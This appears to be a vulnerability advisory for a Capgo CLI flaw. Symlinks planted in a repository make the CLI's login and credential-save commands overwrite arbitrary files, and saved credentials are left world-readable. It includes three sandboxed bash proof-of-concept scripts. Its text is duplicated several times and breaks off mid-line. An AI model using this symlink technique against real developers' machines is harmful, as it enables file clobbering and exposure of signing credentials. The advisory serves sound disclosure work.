CVE-2026-56236

Capgo CLI before 12.128.2 contains arbitrary file overwrite vulnerabilities in login and build credentials operations that follow symlinks without validation. Attackers can create malicious symlinks in repositories to overwrite arbitrary files or expose credentials with world-readable permissions when developers run the CLI.

Capgo CLI before 12.128.2 contains arbitrary file overwrite vulnerabilities in login and build credentials operations that follow symlinks without validation. Attackers can create malicious symlinks in repositories to overwrite arbitrary files or expose credentials with world-readable permissions when developers run the CLI.

Capgo CLI before 12.128.2 contains arbitrary file overwrite vulnerabilities in login and build credentials operations that follow symlinks without validation. Attackers can create malicious symlinks in repositories to overwrite arbitrary files or expose credentials with world-readable permissions when developers run the CLI.

Summary

The Capgo CLI writes sensitive local files (.capgo API key file and build credentials JSON) using unsafe file operations that follow symlinks and do not enforce safe permissions. This allows an attacker-controlled repository to cause arbitrary file overwrite on the developer’s machine when the developer runs the CLI inside that repo. Additionally, global build credentials are written with world-readable permissions (664), exposing signing materials on shared systems.

Details

Issue 1 - Arbitrary file overwrite via .capgo symlink (login --local)

• Location: src/login.ts
• Behavior: loginInternal(..., { local: true }) performs writeFileSync('.capgo', ...) before validating the API key with verifyUser().
• No checks are performed to prevent writing through a symlink.
• Result: if .capgo is a symlink to an arbitrary path, the CLI overwrites the symlink target with attacker-controlled content (the provided API key string), even when login fails.

Issue 2 - Arbitrary file overwrite via .capgo-credentials.json symlink (build credentials save --local)

• Location: src/build/credentials.ts (local path is join(cwd(), '.capgo-credentials.json'))
• Behavior: credentials are written using writeFile() without checking whether the destination is a symlink.
• Result: if .capgo-credentials.json is a symlink to an arbitrary path, the CLI overwrites the symlink target with attacker-controlled JSON (including base64-encoded credential material). This occurs even if the user is not logged in / no API key exists.

Issue 3 - Insecure default permissions for global credentials

• Location: src/build/credentials.ts (global path $HOME/.capgo-credentials/credentials.json)
• Observed permissions after save: -rw-rw-r-- (664)
• Impact: credentials file contains sensitive signing material (e.g., Android keystore + Play config; iOS cert/profile/API key in other flows). World/group readability is unsafe on shared hosts and CI runners. Expected minimum: file 0600, directory 0700.

PoC

PoC A: .capgo symlink clobber (writes even when API key invalid)

set -euo pipefail
BASE="/tmp/capgo_cli_poc_$(date +%s)"
HOME_SANDBOX="$BASE/home"
REPO="$BASE/repo"
TARGET="$BASE/clobbered.txt"

mkdir -p "$HOME_SANDBOX" "$REPO"
cd "$REPO"
git init -q

ln -s "$TARGET" .capgo

# This should fail auth, but still overwrites TARGET
HOME="$HOME_SANDBOX" npx --yes @capgo/[email protected] login "INVALID_KEY_SHOULD_FAIL" --local || true

echo "== TARGET content =="
cat "$TARGET"

Expected: On invalid key, nothing is written; .capgo should never follow symlinks. Observed: TARGET contains INVALID_KEY_SHOULD_FAIL.

PoC B: .capgo-credentials.json symlink clobber (no login required)

set -euo pipefail
BASE="/tmp/capgo_creds_symlink_$(date +%s)"
HOME_SANDBOX="$BASE/home"
REPO="$BASE/repo"
TARGET="$BASE/clobbered_creds.txt"

mkdir -p "$HOME_SANDBOX" "$REPO"
cd "$REPO"
git init -q

ln -s "$TARGET" .capgo-credentials.json

HOME="$HOME_SANDBOX" npx --yes @capgo/[email protected] build credentials save \
  --local --platform android --appId com.example.app \
  --keystore /etc/hosts --keystore-alias x --keystore-key-password x --play-config /etc/hosts || true

echo "== TARGET exists and contains JSON written via symlink =="
ls -la "$TARGET" || true
cat "$TARGET" || true

Expected: Refuse to write if destination is symlink; ideally require safe location and permissions. Observed: TARGET is created/overwritten with credentials JSON.

PoC C: global credentials permissions are world-readable

set -euo pipefail
BASE="/tmp/capgo_creds_perm_$(date +%s)"
HOME_SANDBOX="$BASE/home"
mkdir -p "$HOME_SANDBOX"

HOME="$HOME_SANDBOX" npx --yes @capgo/[email protected] build credentials save \
  --platform android --appId com.example.app \
  --keystore /etc/hosts --keystore-alias x --keystore-key-password x --play-config /etc/hosts || true

CREDS="$HOME_SANDBOX/.capgo-credentials/credentials.json"
ls -la "$CREDS" || true
stat -c '%a %U:%G %n' "$CREDS" || true

_Observed: credentials.json…

Capgo CLI before 12.128.2 contains arbitrary file overwrite vulnerabilities in login and build credentials operations that follow symlinks without validation. Attackers can create malicious symlinks in repositories to overwrite arbitrary files or expose credentials with world-readable permissions when developers run the CLI.

Capgo CLI before 12.128.2 contains arbitrary file overwrite vulnerabilities in login and build credentials operations that follow symlinks without validation. Attackers can create malicious symlinks in repositories to overwrite arbitrary files or expose credentials with world-readable permissions when developers run the CLI.

Summary

The Capgo CLI writes sensitive local files (.capgo API key file and build credentials JSON) using unsafe file operations that follow symlinks and do not enforce safe permissions. This allows an attacker-controlled repository to cause arbitrary file overwrite on the developer’s machine when the developer runs the CLI inside that repo. Additionally, global build credentials are written with world-readable permissions (664), exposing signing materials on shared systems.

Details

Issue 1 - Arbitrary file overwrite via .capgo symlink (login --local)

• Location: src/login.ts
• Behavior: loginInternal(..., { local: true }) performs writeFileSync('.capgo', ...) before validating the API key with verifyUser().
• No checks are performed to prevent writing through a symlink.
• Result: if .capgo is a symlink to an arbitrary path, the CLI overwrites the symlink target with attacker-controlled content (the provided API key string), even when login fails.

Issue 2 - Arbitrary file overwrite via .capgo-credentials.json symlink (build credentials save --local)

• Location: src/build/credentials.ts (local path is join(cwd(), '.capgo-credentials.json'))
• Behavior: credentials are written using writeFile() without checking whether the destination is a symlink.
• Result: if .capgo-credentials.json is a symlink to an arbitrary path, the CLI overwrites the symlink target with attacker-controlled JSON (including base64-encoded credential material). This occurs even if the user is not logged in / no API key exists.

Issue 3 - Insecure default permissions for global credentials

• Location: src/build/credentials.ts (global path $HOME/.capgo-credentials/credentials.json)
• Observed permissions after save: -rw-rw-r-- (664)
• Impact: credentials file contains sensitive signing material (e.g., Android keystore + Play config; iOS cert/profile/API key in other flows). World/group readability is unsafe on shared hosts and CI runners. Expected minimum: file 0600, directory 0700.

PoC

PoC A: .capgo symlink clobber (writes even when API key invalid)

set -euo pipefail
BASE="/tmp/capgo_cli_poc_$(date +%s)"
HOME_SANDBOX="$BASE/home"
REPO="$BASE/repo"
TARGET="$BASE/clobbered.txt"

mkdir -p "$HOME_SANDBOX" "$REPO"
cd "$REPO"
git init -q

ln -s "$TARGET" .capgo

# This should fail auth, but still overwrites TARGET
HOME="$HOME_SANDBOX" npx --yes @capgo/[email protected] login "INVALID_KEY_SHOULD_FAIL" --local || true

echo "== TARGET content =="
cat "$TARGET"

Expected: On invalid key, nothing is written; .capgo should never follow symlinks. Observed: TARGET contains INVALID_KEY_SHOULD_FAIL.

PoC B: .capgo-credentials.json symlink clobber (no login required)

set -euo pipefail
BASE="/tmp/capgo_creds_symlink_$(date +%s)"
HOME_SANDBOX="$BASE/home"
REPO="$BASE/repo"
TARGET="$BASE/clobbered_creds.txt"

mkdir -p "$HOME_SANDBOX" "$REPO"
cd "$REPO"
git init -q

ln -s "$TARGET" .capgo-credentials.json

HOME="$HOME_SANDBOX" npx --yes @capgo/[email protected] build credentials save \
  --local --platform android --appId com.example.app \
  --keystore /etc/hosts --keystore-alias x --keystore-key-password x --play-config /etc/hosts || true

echo "== TARGET exists and contains JSON written via symlink =="
ls -la "$TARGET" || true
cat "$TARGET" || true

Expected: Refuse to write if destination is symlink; ideally require safe location and permissions. Observed: TARGET is created/overwritten with credentials JSON.

PoC C: global credentials permissions are world-readable

set -euo pipefail
BASE="/tmp/capgo_creds_perm_$(date +%s)"
HOME_SANDBOX="$BASE/home"
mkdir -p "$HOME_SANDBOX"

HOME="$HOME_SANDBOX" npx --yes @capgo/[email protected] build credentials save \
  --platform android --appId com.example.app \
  --keystore /etc/hosts --keystore-alias x --keystore-key-password x --play-config /etc/hosts || true

CREDS="$HOME_SANDBOX/.capgo-credentials/credentials.json"
ls -la "$CREDS" || true
stat -c '%a %U:%G %n' "$CREDS" || true

_Observed: credentials.json…